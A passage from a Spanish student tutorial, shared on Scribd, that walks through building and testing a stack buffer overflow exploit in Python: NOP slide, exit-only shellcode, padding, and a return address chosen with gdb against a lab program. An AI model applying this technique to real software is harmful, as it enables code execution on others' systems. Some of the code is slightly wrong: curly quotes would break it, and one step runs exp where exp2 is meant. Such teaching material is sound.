0% encontró este documento útil (0 votos)
5 vistas5 páginas

Creación y prueba de un exploit en Python

El documento describe el proceso de creación y prueba de un exploit en Python, que incluye la generación de un NOP slide, shellcode y la manipulación de la dirección de retorno. Se detalla cómo guardar y ejecutar el exploit contra un programa vulnerable, así como el uso de gdb para depurar y verificar la ejecución del exploit. Finalmente, se explica cómo elegir y modificar la dirección de retorno para asegurar la ejecución correcta del shellcode.

Cargado por

Marsupilami
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
5 vistas5 páginas

Creación y prueba de un exploit en Python

El documento describe el proceso de creación y prueba de un exploit en Python, que incluye la generación de un NOP slide, shellcode y la manipulación de la dirección de retorno. Se detalla cómo guardar y ejecutar el exploit contra un programa vulnerable, así como el uso de gdb para depurar y verificar la ejecución del exploit. Finalmente, se explica cómo elegir y modificar la dirección de retorno para asegurar la ejecución correcta del shellcode.

Cargado por

Marsupilami
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

• Escribimos el código en Python que se muestra a continuación y guardamos el fichero

#!/usr/bin/python
nopslide = '\x90' *30
shellcode = (‘\x31\xc0\xb0\x01\x31\xdb\xcd\x80’)
padding = 'A' * (62 - 8 - 4 - 30)
rip = ‘4321’
print nopslide + shellcode + padding + rip
Explicación del código
1. Declaración de Python
2. Declaración de NOP slide de 30 bytes.
3. Declaración del shellcode de 8 bytes.
4. Declaración del relleno de caracteres “A” suficientes para poder cambiar la dirección
de retorno
a. 62: bytes necesarios hasta llegar a la modificación de la dirección de retorno
b. 8: bytes que ocupa el shellcode
c. 30: bytes elegidos para el NOP slide
5. Declaración de la dirección de retorno temporal (mas adelante se decidirá cual es la
definitiva. De momento se utiliza esta porque es fácilmente detectable en las pruebas)
6. Declaración de imprimir todo en orden
Uray Calvo Rodríguez 17
• Una vez guardado el fichero debemos poner la salida de este programa en un archivo
nuevo para ejecutarlo contra el programa vulnerable que llamaremos “sal3” y tener así,
nuestro primer exploit
• En la terminal ejecutamos los comandos
chmod a+x exp
./exp > sal3
• Vemos el resultado del nuevo archivo “sal3” mediante el editor hexadecimal HexCurse
(NOP slide + shellcode + caracteres “A” + dirección de retorno) mediante el comando
hexcurse sal3
• Salimos del editor hexadecimal
ctr + x
14. Prueba del exploit
Probamos el exploit generado en el archivo “sal3” contra el programa vulnerable mediante el
depurador gdb. En caso de estar todo correcto, decidiremos la dirección de retorno necesaria
(modificando el exploit anterior “exp” en un nuevo fichero) para que ejecute finalmente el
shellcode.
• En una nueva terminal ejecutamos los comandos necesarios para ejecutar el entorno de
depuración gdb y ver los resultados.
gdb -q name
break 10
Uray Calvo Rodríguez 18
run $(cat sal3)
info registers
x/x $ebp + 4
x/32x $esp
• La información mostrada hace referencia:
o La región resaltada con el ratón es el marco de la pila que comienza desde esp y
termina en ebp.
o La dirección de retorno ahora es la palabra de 32 bits "0x31323334" indicada con
el cuadrado amarillo.
o El cuadrado verde indica el NOP slide. Los valores “90” antes del shellcode.
o El cuadrado rojo hace referencia al shellcode.
o El cuadrado azul resalta los caracteres “A” con los valores “41”.
15. Elegir dirección de retorno para el exploit
Después de comprobar que tanto la dirección de retorno como los demás datos del exploit
están en los registros debemos elegir la dirección correcta para que ejecute el shellcode.
Si todo fuera perfecto, podríamos poner la dirección del primer byte del shellcode, pero para
dar un margen de error, elegimos una dirección en algún lugar en medio del NOP slide.
• Fijándonos en la imagen anterior de los registros (imagen del punto 14) una dirección
adecuada seria 0xffffd5c0
Uray Calvo Rodríguez 19
• Tenemos que cambiar la dirección de retorno del exploit en el fichero “exp” que
actualmente tiene la dirección de retorno temporal “4321” por la que hemos visto que
seria la adecuada.
• La dirección de retorno deberá estar al revés estilo Little Endian quedando:
\xc0\xd5\xff\xff
• Salimos del entorno de depuración gdb, copiamos el fichero “exp” en un nuevo fichero
llamado “exp2” y modificamos el exploit con los comandos
quit, y
cp exp exp2
nano exp2
• Guardamos y ponemos la salida de este programa en un archivo nuevo para ejecutarlo
contra el programa vulnerable que llamaremos “sal4” y tener así, nuestro exploit
definitivo o segundo exploit.
• En la terminal ejecutamos los comandos
./exp > sal4
• Vemos el resultado del nuevo archivo “sal4” mediante el editor hexadecimal HexCurse
(NOP slide + shellcode + caracteres “A” + dirección de retorno definitiva) mediante el
comando
hexcurse sal4
Uray Calvo Rodríguez 20
• Salimos del editor hexadecimal
ctr + x
16. Prueba del exploit 2
Probamos el exploit “sal4” contra el programa vulnerable mediante el depurador gdb.
• En una nueva terminal ejecutamos los comandos necesarios
gdb -q name
break 10
run $(cat sal4)
info registers
x/x $ebp + 4
x/32x $esp
Uray Calvo Rodríguez 21

También podría gustarte